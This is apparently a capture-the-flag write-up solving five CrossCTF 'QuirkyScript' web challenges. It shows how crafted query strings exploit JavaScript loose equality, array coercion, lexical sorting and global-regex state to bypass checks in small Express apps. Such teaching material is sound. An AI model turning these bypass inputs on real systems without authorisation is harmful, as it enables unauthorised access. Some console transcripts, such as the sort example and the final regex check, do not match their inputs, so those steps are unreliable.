Table of Contents
I did not participate in this competition, but I was asked by the organisers to take a look at the challenges.
Here are my analysis and solutions for 5 web challenges which I thought were rather interesting.
Enjoy! ![]()
QuirkyScript 1
Problem
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var flag = require("./flag.js");
var express = require('express')
var app = express()
app.get('/flag', function (req, res) {
if (req.query.first) {
if (req.query.first.length == 8 && req.query.first == ",,,,,,,") {
res.send(flag.flag);
return;
}
}
res.send("Try to solve this.");
});
app.listen(31337)
Analysis
Observe that in the source code provided, loose equality comparison (==) is used instead of strict equality comparison (===).
Loose equality compares two values for equality after converting both operands to a common type. When in doubt, refer to the documentation on equality comparisons and sameness!
Let’s look at the comparison req.query.first == ",,,,,,,":
- If
req.query.firstis aString– no type conversion is performed as both operands are of a common type. - If
req.query.firstis anObject– type conversion is performed onreq.query.firsttoStringby invokingreq.query.first.toString()before comparing both operands.
In Express, req.query is an object containing the parsed query string parameters – so req.query.first can either be a string (?first=) or an array (?first[]=).
In JavaScript, an arrray is a list-like Object. Furthermore, Array.toString() returns a string representation of the array values, concatenating each array element separated by commas, as shown below:
> ['a'].toString()
a
> ['a','b'].toString()
a,b
Solution
As such, we can set req.query.first as an array with length 8 containing only empty strings to make the string representation return ,,,,,,, to satisfy both conditions:
> console.log(['','','','','','','',''].toString())
,,,,,,,
This can be achieved by supplying eight first[] query string parameters:
http://ctf.pwn.sg:8081/flag?first[]&first[]&first[]&first[]&first[]&first[]&first[]&first[]
Flag: CrossCTF{C0mm4s_4ll_th3_w4y_t0_th3_fl4g}
QuirkyScript 2
Problem
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var flag = require("./flag.js");
var express = require('express')
var app = express()
app.get('/flag', function (req, res) {
if (req.query.second) {
if (req.query.second != "1" && req.query.second.length == 10 && req.query.second == true) {
res.send(flag.flag);
return;
}
}
res.send("Try to solve this.");
});
app.listen(31337)
Analysis
Similar to QuirkyScript 1, req.query.second can either be a string or an array. Observe that loose equality comparison is done in req.query.second == true, so if req.query.second is a string, both operands are converted to numbers before comparing both values.
Note: The behavior of the type conversion to number is equivalent to the unary + operator (e.g. +"1"):
> true == +true == 1
true
> "1" == +"1" == 1 == true
true
One thing to note about such type conversions is that the parsing of value is performed quite leniently to avoid returning errors for minor issues detected:
> +" 1 "
1
> +" 00001"
1
Solution
Since req.query.second != "1" performs string comparison without type conversions, we can obtain the flag by supplying a truthy value with 10 characters in second query string parameter:
http://ctf.pwn.sg:8082/flag?second=0000000001
Flag: CrossCTF{M4ny_w4ys_t0_mak3_4_numb3r}
QuirkyScript 3
Problem
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var flag = require("./flag.js");
var express = require('express')
var app = express()
app.get('/flag', function (req, res) {
if (req.query.third) {
if (Array.isArray(req.query.third)) {
third = req.query.third;
third_sorted = req.query.third.sort();
if (Number.parseInt(third[0]) > Number.parseInt(third[1]) && third_sorted[0] == third[0] && third_sorted[1] == third[1]) {
res.send(flag.flag);
return;
}
}
}
res.send("Try to solve this.");
});
app.listen(31337)
Analysis
Observe that req.query.third.sort() is invoked above, so req.query.third has to be an array since string does not have a sort() prototype method.
The following conditions need to be satisfied to obtain the flag:
-
Number.parseInt(third[0]) > Number.parseInt(third[1])– first element must be larger than the second element after converting both elements to numbers -
third_sorted[0] == third[0]andthird_sorted[1] == third[1]– the elements inthirdmust retain the same order even after being sorted
As pointed out in the documentation, if no custom comparition function is supplied to Array.prototype.sort(), all non-undefined array elements are sorted by (1) converting them to strings and (2) comparing string comparisons in UTF-16 code point order.
Such lexical sorting differs from numeric sorting. For example, 10 comes before “2” when sorting based on their UTF-16 code point:
> third = ["10", "1a"]
["10", "2"]
> third_sorted = third.sort()
["10", "2"]
> Number.parseInt(third[0])
10
> Number.parseInt(third[1])
1
> Number.parseInt(third[0]) > Number.parseInt(third[1])
true
> third_sorted[0] == third[0] && third_sorted[1] == third[1]
true
Solution
To obtain the flag, we can set third query string parameter as an array with 10 as first element and 2 as second element:
http://ctf.pwn.sg:8083/flag?third[0]=10&third[]=2
Flag: CrossCTF{th4t_r0ck3t_1s_hug3}
QuirkyScript 4
Problem
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var flag = require("./flag.js");
var express = require('express')
var app = express()
app.get('/flag', function (req, res) {
if (req.query.fourth) {
if (req.query.fourth == 1 && req.query.fourth.indexOf("1") == -1) {
res.send(flag.flag);
return;
}
}
res.send("Try to solve this.");
});
app.listen(31337)
Analysis
If req.query.fourth is a string containing a truthy value, it is not possible to satisfy the req.query.fourth.indexOf("1") == -1 condition.
Let’s look at what we can do if req.query.fourth is an array instead. Type conversion happens on req.query.fourth in req.query.fourth == 1 before comparing the operands:
> +([""].toString())
0
> ["1"] == +(["1"].toString()) == 1
true
Since Array.prototype.indexOf(element) returns the index of the first matching element in the array, or -1 if it does not exist, we can satisfy req.query.fourth.indexOf("1") == -1 if the string "1" is not in the array.
Solution 1
One possible solution is to leverage the relaxed parsing of integer values from strings as discussed in QuirkyScript 2:
> ["01"] == +(["01"].toString()) == 1
true
> ["01"].indexOf("1") == -1
true
Visiting http://ctf.pwn.sg:8084/flag?fourth[]=01 gives the flag.
Solution 2
Another possible solution is to use a nested array:
> [["1"]] == [["1"].toString()].toString() == 1
true
> [["1"]].indexOf("1") == -1
true
Visiting http://ctf.pwn.sg:8084/flag?fourth[][]=1gives the flag.
Flag: CrossCTF{1m_g0ing_hungry}
QuirkyScript 5
Problem
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var flag = require("./flag.js");
var express = require('express')
var app = express()
app.get('/flag', function (req, res) {
var re = new RegExp('^I_AM_ELEET_HAX0R$', 'g');
if (re.test(req.query.fifth)) {
if (req.query.fifth === req.query.six && !re.test(req.query.six)) {
res.send(flag.flag);
}
}
res.send("Try to solve this.");
});
app.listen(31337)
Analysis
Referring to the documentation for RegExp.prototype.test(), an interesting behaviour of regular expressions with g (global) flag set is noted:
test()will advance thelastIndexof the regex.- Further calls to
test(str)will resume searchingstrstarting fromlastIndex.- The
lastIndexproperty will continue to increase each timetest()returnstrue.Note: As long as
test()returns true,lastIndexwill not reset—even when testing a different string!
Solution
After the call to re.test(req.query.fifth), re.lastIndex is no longer 0 if req.query.fifth is set to I_AM_ELEET_HAX0R.
By setting req.query.six to I_AM_ELEET_HAX0R, we can make re.test(req.query.six) return false:
> re = new RegExp('^I_AM_ELEET_HAX0R$', 'g')
/^I_AM_ELEET_HAX0R$/g
> re.lastIndex
0
> re.test("I_AM_ELEET_HAX0R")
true
> re.lastIndex
16
> "I_AM_ELEET_HAX0R" === "I_AM_ELEET_HAX0R"
true
> !re.test("I_AM_ELEET_HAX0R")
false
> re.lastIndex
0
As such, visiting the URL below gives the flag:
http://ctf.pwn.sg:8085/flag?fifth=I_AM_ELEET_HAX0R&six=I_AM_ELEET_HAX0R
Flag: CrossCTF{1_am_n1k0las_ray_zhizihizhao}